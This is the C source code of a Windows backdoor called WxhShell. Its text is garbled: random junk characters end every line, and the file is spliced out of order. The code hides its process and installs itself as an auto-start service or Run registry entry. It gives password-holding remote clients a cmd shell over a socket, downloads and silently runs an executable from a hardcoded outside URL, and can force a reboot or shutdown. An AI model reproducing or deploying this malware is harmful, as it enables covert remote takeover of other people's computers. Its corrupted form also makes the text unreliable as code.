    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t1HUp dHY  
    else { ok5 {c  
    closesocket(wsh); Xu#\CYk  
    ExitThread(0); dN>XZv  
    } ,hK0F3?H>  
    break; lo:]r.lX{  
    } Du>dTi~  
  // 获取shell VVuL+i  
  case 's': { #bPio  
    CmdShell(wsh); p$}iBk0B(z  
    closesocket(wsh); -@ #b<"1  
    ExitThread(0); <[xxCW(2  
    break; GY4 :9Lub7  
  } &Pt|  
  // 退出 EWN$ILdD  
  case 'x': { .<v0y"amJ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ToJV.AdfT  
    CloseIt(wsh); ]?,47,[<  
    break; L@?Dmn'v  
    } HZ=Dd4!  
  // 离开 8?W!U*0aS  
  case 'q': { ]}9cOb%I  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); );$Uf!v4  
    closesocket(wsh); '{kNXCnZ  
    WSACleanup(); ]+[ NX)=  
    exit(1); P ]2M  
    break; "ffwh  
        } E66e4?"  
  } w5jH#ja  
  } ?mY )m +  
zdn e2  
  // 提示信息 MxxYMR  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /s6':~4  
} </<_e0  
  } wd*i~A3+?  
ZeK*MPxQ  
  return; EF0{o_  
} n6WSTh  
HKP\`KBC j  
// shell模块句柄 pRXA!QfO  
int CmdShell(SOCKET sock) W<;i~W  
{ +8[h&  
STARTUPINFO si; @{.rDz  
ZeroMemory(&si,sizeof(si)); yuswWc '  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; TEB%y9  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; sCaw"{5qc  
PROCESS_INFORMATION ProcessInfo; /exV6D r  
char cmdline[]="cmd"; u7@|fND 7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); G5zZf ~r  
  return 0; ksY^w+>(!  
} -w 2!k  
ezlp~z"_k  
// 自身启动模式 -!">SY\  
int StartFromService(void) MLmc]nL=  
{ }*$-rieg  
typedef struct ".v9#|  
{ e`R*6^e  
  DWORD ExitStatus; .x6*9z#q  
  DWORD PebBaseAddress; +n9&q#ah  
  DWORD AffinityMask; ^/R@bp#<  
  DWORD BasePriority; -'{ioHt&X/  
  ULONG UniqueProcessId; \WouTn  
  ULONG InheritedFromUniqueProcessId; O<f_-n@G|  
}   PROCESS_BASIC_INFORMATION; 7* ^\mycv  
sx8mba(  
PROCNTQSIP NtQueryInformationProcess; fJOU1%  
u 8U>R=M  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; P%pB]d.qpi  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; gU>Y  
a%ec: %  
  HANDLE             hProcess; 7H[#  
  PROCESS_BASIC_INFORMATION pbi; /.05rTpp  
QfU 0*W?r  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); GfQMdLy\Z  
  if(NULL == hInst ) return 0; ;eG%#=>  
bm%2K@ /U  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8[f]9P/i  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); xQ1&j,R]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @)VJ,Ql$Y  
O:r<es1  
  if (!NtQueryInformationProcess) return 0; 'n4zFj+S  
DXKk1u?Tq  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3`#sXt9C  
  if(!hProcess) return 0; |\?-k  
g_>)Q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Ew4DumI  
RZ|s[b U  
  CloseHandle(hProcess); @z dmB~C  
z2!NBOv  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,a$LT   
if(hProcess==NULL) return 0; aU4'_%Y@  
HtY\!_Ea  
HMODULE hMod; XFYCPET  
char procName[255]; *KxV;H8/  
unsigned long cbNeeded; }E8 Y,;fTD  
PhKJ#D Rbr  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); tDEpR  
%~Nf,  
  CloseHandle(hProcess); `mw@"  
CN brXN  
if(strstr(procName,"services")) return 1; // 以服务启动 J;m[1Mae&  
6xnJyEQUM  
  return 0; // 注册表启动 M P0ww$(  
} K+T`'J4  
LdWeI  
// 主模块 /;HytFP  
int StartWxhshell(LPSTR lpCmdLine) w'M0Rd]  
{ aH"tSgi  
  SOCKET wsl; 0%F C;v0  
BOOL val=TRUE; ?\$77k  
  int port=0; s.zH.q,  
  struct sockaddr_in door; F\-qXSA  
?3KI}'}EM  
  if(wscfg.ws_autoins) Install(); jGI!}4_  
aM?7'8/  
port=atoi(lpCmdLine); '-w G  
J_rCo4}  
if(port<=0) port=wscfg.ws_port; EF)kYz!@  
c~R ElL  
  WSADATA data; y*Ex5N~JC  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; PK3T@Qv89  
+|#sF,,X4g  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   2U~oWg2P  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Ku,Efr  
  door.sin_family = AF_INET; wZfR>|f  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); &lI.N~Ao  
  door.sin_port = htons(port); n )`*{uv$  
{j:{wW.  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { zb9d{e   
closesocket(wsl); 4 D\_[(P  
return 1; A|RAMO@le  
} *%Gy-5hM  
fM S-  
  if(listen(wsl,2) == INVALID_SOCKET) { 0pkU1t~9  
closesocket(wsl); Mv4JF(,S  
return 1; ;HqK^[1\  
} f_raICO{R  
  Wxhshell(wsl); 9=3V}]^M  
  WSACleanup(); "]MF =-v  
;=h^"et  
return 0; ?1PY]KNaK  
NTAPx=!1*  
} _Seiwk &  
P7u5Ykc*  
// 以NT服务方式启动 P.;B V",  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [&FMVM`  
{ mhlJzGr*q  
DWORD   status = 0; k(VA5upCs  
  DWORD   specificError = 0xfffffff; aN;L5;m#>{  
ZV;#ZXch  
  serviceStatus.dwServiceType     = SERVICE_WIN32; D"A`b{z  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; #XJYkaL  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !xe<@$  
  serviceStatus.dwWin32ExitCode     = 0; C=PBF\RkKu  
  serviceStatus.dwServiceSpecificExitCode = 0; ;2dhue  
  serviceStatus.dwCheckPoint       = 0; 7!MW`L/`  
  serviceStatus.dwWaitHint       = 0; IUu[`\b=  
w:N\]=Vh  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &,)9cV /  
  if (hServiceStatusHandle==0) return; !(SaE'  
7z%zXDe~T[  
status = GetLastError(); `]tXQqD  
  if (status!=NO_ERROR) B*D`KA  
{ ,C=Fgxw(  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; -QZped;?*  
    serviceStatus.dwCheckPoint       = 0; 4s"8e]q=  
    serviceStatus.dwWaitHint       = 0; 3j.f3~"  
    serviceStatus.dwWin32ExitCode     = status; h ?p^DPo  
    serviceStatus.dwServiceSpecificExitCode = specificError; l'3NiIX  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2@e<II2ha8  
    return; Itz_;+I.Mp  
  } %f{kT<XHu  
+;cw<9%0  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Yj0Ss{Ep  
  serviceStatus.dwCheckPoint       = 0; H3a}`3}U  
  serviceStatus.dwWaitHint       = 0; { Ja#pt  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); aNXu"US+Sp  
} %X[|7D-  
_Dk;U*2  
// 处理NT服务事件,比如:启动、停止 zD)2af  
VOID WINAPI NTServiceHandler(DWORD fdwControl) b,318R8+G  
{ M}%0=VCY7  
switch(fdwControl) Sl 6}5  
{ dnNc,l&g  
case SERVICE_CONTROL_STOP: E}1[&  
  serviceStatus.dwWin32ExitCode = 0; 5jYRIvM[Q~  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Ah)7A|0rT  
  serviceStatus.dwCheckPoint   = 0; t5eux&C  
  serviceStatus.dwWaitHint     = 0; IOIGLtB  
  { ;TaT=%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ze#LX4b I  
  } <[a9"G 7  
  return; &p4q# p7,  
case SERVICE_CONTROL_PAUSE: z),l&7  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !vett4C* K  
  break; -{L[Wt{1  
case SERVICE_CONTROL_CONTINUE: GD*6tk;5/  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; fMLm_5(H  
  break; Yq;S%.  
case SERVICE_CONTROL_INTERROGATE: },[j+wx  
  break; =VY[m-q5  
}; @~a52'\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?<F\S2W  
} g<.VW 0  
|5![k<o#  
// 标准应用程序主函数 [#2= w  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) vx-u+/\  
{ P5aHLNit  
gQ/zk3?k  
// 获取操作系统版本 L:B&`,E  
OsIsNt=GetOsVer(); k92189B9j/  
GetModuleFileName(NULL,ExeFile,MAX_PATH); t0?BU~f  
 -JUv'fk  
  // 从命令行安装 yY,.GzIjCj  
  if(strpbrk(lpCmdLine,"iI")) Install(); YjG0: 9  
l<qxr.X  
  // 下载执行文件 ]p#Zdm1EL  
if(wscfg.ws_downexe) { /wvA]ooT  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) nTYqZlI,  
  WinExec(wscfg.ws_filenam,SW_HIDE); }-8K*A3  
} XPX{c|]>.  
IlS{>6  
if(!OsIsNt) { ]vu' +F$  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;%U`lE0  
HideProc(); T]E$H, p  
StartWxhshell(lpCmdLine); qtgj"4,:`  
} MK=:L   
else v3@)q0@  
  if(StartFromService()) 1 k H  
  // 以服务方式启动 zHu:Ec7  
  StartServiceCtrlDispatcher(DispatchTable); BJlF@F#  
else ?f&*mp  
  // 普通方式启动 KE(kR>OB]  
  StartWxhshell(lpCmdLine); 7dU X(D,?  
B`KpaE]  
return 0; 8qBw;A)  
} _;0:wXib =  
rtUd L,Hx  
G-} zkax  
!)&-\!M>  
=========================================== 6NZ f!7,B  
kuUH 2:L  
VY![VnHsB  
^{Mx?]z  
e=_*\`/CN  
z2,rnm)Q  
" s'5 jvlG  
8I~H1  
#include <stdio.h> Mb/R+:C`  
#include <string.h> (D~mmffY1  
#include <windows.h> rfCoi>{<  
#include <winsock2.h> NGb`f-:jw  
#include <winsvc.h> !0zM@p  
#include <urlmon.h> @zPWu}&m  
n287@Y4Ru  
#pragma comment (lib, "Ws2_32.lib") oM< &4F  
#pragma comment (lib, "urlmon.lib") x&8?/BR  
~%sDQt\S  
#define MAX_USER   100 // 最大客户端连接数 OGae]O<  
#define BUF_SOCK   200 // sock buffer ^(6.P)$  
#define KEY_BUFF   255 // 输入 buffer  T>LtN  
Q0M8 }  
#define REBOOT     0   // 重启 -|ee=BV  
#define SHUTDOWN   1   // 关机 `d8$OC  
tU?lfU[7  
#define DEF_PORT   5000 // 监听端口 ,,,5pCi\  
3EzI~Zsx  
#define REG_LEN     16   // 注册表键长度 G%4vZPA  
#define SVC_LEN     80   // NT服务名长度 l?#([(WM  
,cj34W`FWq  
// 从dll定义API q 2= ^l  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); .>H7i`1D`  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Lqz}h-Ei  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >Axe7<l  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); i>0bI^H  
Cu9,oU+N  
// wxhshell配置信息 242lR0#aY  
struct WSCFG { Y.&z$+  
  int ws_port;         // 监听端口 irrQ$N}   
  char ws_passstr[REG_LEN]; // 口令 f)gA.Rz  
  int ws_autoins;       // 安装标记, 1=yes 0=no Q OdvzVy<  
  char ws_regname[REG_LEN]; // 注册表键名 $R"~BZbt;  
  char ws_svcname[REG_LEN]; // 服务名 )|2g#hH5  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 7$b78wax  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 >\VZ9bP<   
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2"%d!"  
int ws_downexe;       // 下载执行标记, 1=yes 0=no B\N,%vsx#U  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" \7Zk[)!FL  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 WXGLo;+>I  
`)SkA?yKI  
}; m2\ZnC  
\d v9:X$  
// default Wxhshell configuration 4?d2#Xhs8  
struct WSCFG wscfg={DEF_PORT, G =lC[i  
    "xuhuanlingzhe", |n* I}w^  
    1, b/<n:*$   
    "Wxhshell", #mtlgK'  
    "Wxhshell", vY.p~3q :)  
            "WxhShell Service", ~/gqXT">  
    "Wrsky Windows CmdShell Service", ;.m"y-  
    "Please Input Your Password: ", JJ[J'xl@  
  1, q}+9$v  
  "http://www.wrsky.com/wxhshell.exe", K _y;<a]  
  "Wxhshell.exe" [j:%O|h  
    }; c)lMi}/  
CJ%7M`zy  
// 消息定义模块 Tw|=;m  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; KS%xo6k.  
char *msg_ws_prompt="\n\r? for help\n\r#>"; zJtYy4jI)  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -LQ%)'J ZN  
char *msg_ws_ext="\n\rExit."; 'fZHtnmc0  
char *msg_ws_end="\n\rQuit."; {AQ3y,sh  
char *msg_ws_boot="\n\rReboot..."; 1uS _]59=  
char *msg_ws_poff="\n\rShutdown..."; :@kSDy+*Q  
char *msg_ws_down="\n\rSave to "; _.\p^ HM  
NlWIb2,  
char *msg_ws_err="\n\rErr!"; \}G/F!  
char *msg_ws_ok="\n\rOK!"; D(L%fK`+  
o3%Gc/6%  
char ExeFile[MAX_PATH]; &{l?j>|TM  
int nUser = 0; My=p>{s  
HANDLE handles[MAX_USER]; _%"/I96'  
int OsIsNt; -CxaOZG  
)<jj O  
SERVICE_STATUS       serviceStatus; n802!d+Tn  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; }JvyjE  
?2DYz"/')  
// 函数声明 <BT}Tv9  
int Install(void); #O`n Q  
int Uninstall(void); b+3{ bE  
int DownloadFile(char *sURL, SOCKET wsh); T2^ @x9  
int Boot(int flag); "TG}aS  
void HideProc(void); ar>S_VW*  
int GetOsVer(void); g6 r3V.X'  
int Wxhshell(SOCKET wsl); 8'/vW~f  
void TalkWithClient(void *cs); K]Ed-Tz8QZ  
int CmdShell(SOCKET sock); YHg4WW$  
int StartFromService(void); C#vU'RNpl  
int StartWxhshell(LPSTR lpCmdLine); kg9ZSkJr  
|P~TZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Z>M0[DJ_  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8CwgV  
\>M3E  
// 数据结构和表定义 Q>= :$I  
SERVICE_TABLE_ENTRY DispatchTable[] = 8"RX~Igf  
{ APy&~`  
{wscfg.ws_svcname, NTServiceMain}, h<.&,6R  
{NULL, NULL} L?<V KT  
}; E}4R[6YD  
E+F!u5u  
// 自我安装 * UBU?  
int Install(void) 6|["!AUI  
{ Z*x Q"+\  
  char svExeFile[MAX_PATH]; i>>_S&!9p  
  HKEY key; A"i40 @+  
  strcpy(svExeFile,ExeFile); :/d#U:I  
#L[Atx  
// 如果是win9x系统,修改注册表设为自启动 l.Qj?G  
if(!OsIsNt) { } n_9d.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |a/"7B|?\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [ 7Q|vu  
  RegCloseKey(key); <5?.S{Z9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m03;'Nj'7#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); AfFF u\  
  RegCloseKey(key); :J}L| `U9  
  return 0; D+#QQH  
    } #k5Nnv#(J  
  } w}YO+  
} O-5H7Kd-  
else { ~S#Le  
)Q&:$]  
// 如果是NT以上系统,安装为系统服务 l>H#\MR  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Z[Uz~W6M]  
if (schSCManager!=0) 0ir]  
{ mp>,TOi~s7  
  SC_HANDLE schService = CreateService qAHQZKk  
  ( >t3%-Kc  
  schSCManager, T" XZ[q  
  wscfg.ws_svcname, -7$7TD`'7  
  wscfg.ws_svcdisp, DMsxHAE1  
  SERVICE_ALL_ACCESS, QUwSnotgU  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  b-yfBO  
  SERVICE_AUTO_START, wHAoO#`wn5  
  SERVICE_ERROR_NORMAL, .G4(Ryh  
  svExeFile, WEOW6UV(  
  NULL, 5fDVJE "9"  
  NULL, 7S(5\9  
  NULL, ?tV$o,11  
  NULL, 9}:%CpD^~I  
  NULL +*mi%)I  
  ); N>xs@_"o  
  if (schService!=0) tNG0ft%a  
  { $wub)^  
  CloseServiceHandle(schService); Nu<M~/  
  CloseServiceHandle(schSCManager); nV@k}IJg:?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @y2{LUJe  
  strcat(svExeFile,wscfg.ws_svcname); ][I}yOD70  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { dzKI?i)x  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); x9p,j  
  RegCloseKey(key); >01&3-r  
  return 0; 'UUIY$V[  
    } xOt%H\*k"  
  } AKzhal!  
  CloseServiceHandle(schSCManager); :Fm;0R@/k  
} N/4`afiV.  
} .|G([O^H  
vB hpD  
return 1; ~$Xz~#~  
} XcAx@CY9c  
*G7/  
// 自我卸载 )!s f@F?  
int Uninstall(void) iLIH |P%  
{ JS1$l+1  
  HKEY key; U\*}}   
rB}Iwp8  
if(!OsIsNt) { Lf4c[[@%gd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &$:1rA_v  
  RegDeleteValue(key,wscfg.ws_regname); jO&sS?  
  RegCloseKey(key); I'Ui` :A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -iLp3m<ai  
  RegDeleteValue(key,wscfg.ws_regname); -hZlFAZi  
  RegCloseKey(key); 9nu!|reS  
  return 0; A9`& Wnw?  
  } 2"cUBFc1I  
} @!1o +x  
} om@GH0o+  
else { Z@4 BTA  
'avzESe~'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); S%uwQ!=O8  
if (schSCManager!=0) *9Ej fs7L  
{ :70[zo7n'  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Bvk 8b  
  if (schService!=0) s{#rCc)  
  { P+tRxpz  
  if(DeleteService(schService)!=0) { +*Y/+.4WE$  
  CloseServiceHandle(schService); JPJ&k( P  
  CloseServiceHandle(schSCManager); IH(]RHTp%  
  return 0; 4^/MDM@  
  } jNd."[IrO  
  CloseServiceHandle(schService); yr8 b?m.x  
  } &66-0d+Sh  
  CloseServiceHandle(schSCManager); !YYI{BJ7:N  
} He @d~9M  
} =4+Wx8ZeW  
:08b&myx  
return 1; l|TiUjs  
} D"UCe7  
[CTE"@A  
// 从指定url下载文件 Gi]R8?M  
int DownloadFile(char *sURL, SOCKET wsh) Tk\?$n  
{ t@m!k+0  
  HRESULT hr; < Ih)h$8`  
char seps[]= "/"; r {R879  
char *token; )(V|d$n  
char *file; .dM4B'OA?  
char myURL[MAX_PATH]; rWsUWA T*  
char myFILE[MAX_PATH]; v/gxQy+l  
eLPWoQXt  
strcpy(myURL,sURL); W/e6O??O  
  token=strtok(myURL,seps); 2%o@?Rp  
  while(token!=NULL) h \dq]yOl  
  { lrrNyaFn  
    file=token; 3msb"|DG  
  token=strtok(NULL,seps); .{r0Szm.  
  }  }^3CG9%  
X0G6W p  
GetCurrentDirectory(MAX_PATH,myFILE); >8%<ML  
strcat(myFILE, "\\"); CCx_|>  
strcat(myFILE, file); '9@} =pE  
  send(wsh,myFILE,strlen(myFILE),0); Fq>tl 64A  
send(wsh,"...",3,0); lqdil l\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); gkkT<hEV=  
  if(hr==S_OK) -|_#6-9  
return 0; "]H_;:{f  
else %?  87#|  
return 1; `_"F7Czn  
.l1uqCuB  
} "L ,)4v/J  
% \N52  
// 系统电源模块 8);G'7O  
int Boot(int flag) l5; SY  
{ TQ hu$z<  
  HANDLE hToken; P)D2PVD  
  TOKEN_PRIVILEGES tkp; jgpSFb<9F  
5 1&||.  
  if(OsIsNt) { olLVT<  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }K F f  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Hst]}g' .  
    tkp.PrivilegeCount = 1; *n]f)Jc  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; #POVu|Y;h  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :[P)t %  
if(flag==REBOOT) { A?)nLp&Y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) kz=Ql|@  
  return 0; ZRCm'p3  
} dC,a~`%O  
else { 4zo^ b0v  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) GQ -fEIi{  
  return 0; 76 ] X  
} P6G&3yPt  
  } , yd]R4M  
  else { "|k 4<"]  
if(flag==REBOOT) { NAg9EaWja{  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) HgY [Q}7s  
  return 0; 8_*31Y   
} 2?c##Izn  
else { ]:"<if gp$  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) LZR x>q^  
  return 0; fGtYvl O-5  
} ~9ZW~z'  
} "/ 9EUbca  
&d,!^9  
return 1; h;C/} s  
} Z.QgL=  
-/w#f&Y+]8  
// win9x进程隐藏模块 :o"9x,  
void HideProc(void) mZG)#gW[  
{ G>@KX  
;URvZ! {/Z  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #S4lRVt5  
  if ( hKernel != NULL ) sV']p#HK0  
  { (8Ptuh6\\2  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \-`,fat  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); /8Wfs5N  
    FreeLibrary(hKernel); u2 a#qU5*  
  } V vFMpPi  
ahoXQ8c:\}  
return; D,hZVKa  
} 'zo] f  
4-r5C5o,W  
// 获取操作系统版本 =Ts5\1sc>  
int GetOsVer(void) o(L8 -F  
{ |$:y8H'J  
  OSVERSIONINFO winfo; {wL30D^  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |^09ny|  
  GetVersionEx(&winfo); s;!_'1pi@  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]Y.GU7`  
  return 1; C0`Bi:Ze  
  else w,)O*1't  
  return 0; VZ3{$0 +  
} Y?'Krw `  
tEam6xNf,  
// 客户端句柄模块 ATG;*nIP  
int Wxhshell(SOCKET wsl) E3vYVuw  
{ {9 .sW/  
  SOCKET wsh; 3xX ^pjk  
  struct sockaddr_in client; %a\L^w)Xn  
  DWORD myID; uB@~xQ_V  
v? Ufx  
  while(nUser<MAX_USER) }mdk+IEt  
{ ,'Sj:l  
  int nSize=sizeof(client); '_~qAx@F#c  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "h`oT4j5q  
  if(wsh==INVALID_SOCKET) return 1; 6k9cvMs%H  
g15~+;33N  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); YQ-!>3/)-  
if(handles[nUser]==0) )W,.xP  
  closesocket(wsh); [:BD9V  
else \8<ZPqt9  
  nUser++; V] 0T P#  
  } y>! 8mDvZ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); nl)l:A+q8  
"p@EY|Zv%I  
  return 0; "xdu h3/~=  
} cp_<y)__  
Q8Fqf ;4  
// 关闭 socket <zWMTVaC  
void CloseIt(SOCKET wsh) W/@-i|v  
{ Kt5k_9  
closesocket(wsh); f`vu+nw  
nUser--; /$'|`jKsB  
ExitThread(0); 5Y4#aq  
} 4.e0k<]N`  
%y|L'C,ge"  
// 客户端请求句柄 1=L5=uz1d:  
void TalkWithClient(void *cs) MUW&m2  
{ r "uQ|  
IY"+hHt  
  SOCKET wsh=(SOCKET)cs; |>zYUT[V  
  char pwd[SVC_LEN]; E=# O|[=  
  char cmd[KEY_BUFF]; dRL*TT0NW  
char chr[1]; i9+qU  
int i,j; <ebC]2j8cK  
BqtUL_jm  
  while (nUser < MAX_USER) {  P y!$r  
<8iu:nR  
if(wscfg.ws_passstr) { 5HC5   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wLa8&E[  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?#~km0~F)  
  //ZeroMemory(pwd,KEY_BUFF); K41Gn  
      i=0; aoHAB<.C  
  while(i<SVC_LEN) { Dq[Z0"8  
[pxC3{|d$  
  // 设置超时 NCa3")k  
  fd_set FdRead; Whl^~$+f  
  struct timeval TimeOut; q}|_]R_y  
  FD_ZERO(&FdRead); O|AY2QH\  
  FD_SET(wsh,&FdRead); =&t]R? F  
  TimeOut.tv_sec=8; hA=}R.gi  
  TimeOut.tv_usec=0; J3QL%#  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9<Ks2W.N  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~J![Nx/  
qYP;`L}o#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J{U 171  
  pwd=chr[0]; ]o?r( 1  
  if(chr[0]==0xd || chr[0]==0xa) { 6]|-%  
  pwd=0; z'&tmje[?  
  break; U1;&G  
  } z7_h$v  
  i++; \C<'2KZR,  
    } {|B 2$1':  
S| |OSxZ  
  // 如果是非法用户,关闭 socket $d*PY_  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); HChlkj'7w0  
} ;_ S D W  
yu}yON  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =p2: qSV  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cV4]Y(9  
3gv@JGt7`  
while(1) { tx7B?/5D  
{BY(zsl  
  ZeroMemory(cmd,KEY_BUFF); %n^ugm0B  
*. 1S  
      // 自动支持客户端 telnet标准   xzXNcQ  
  j=0; zJ30ZY:  
  while(j<KEY_BUFF) { /:@)De(S  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6~OJB!  
  cmd[j]=chr[0]; N4l}5(e  
  if(chr[0]==0xa || chr[0]==0xd) { aTwBRm  
  cmd[j]=0;  ]&OI.p  
  break; *?pnTQs^  
  } YYhN>d$  
  j++; ^c]c`w  
    } n s#v?D9NF  
t|m=X  
  // 下载文件 K5HzA1^  
  if(strstr(cmd,"http://")) { H`s[=Y,m  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ws<p BC,m  
  if(DownloadFile(cmd,wsh)) }g& KT!r  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); NG8 F'=<  
  else Q7]bUPDO  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GuC 9h^[=M  
  } SLz;5%CPV  
  else { v7/k0D .  
! u@JH`  
    switch(cmd[0]) { ZypK''&oc  
  g:s|D hE[  
  // 帮助 E/<n"'0ek  
  case '?': { O^n\lik  
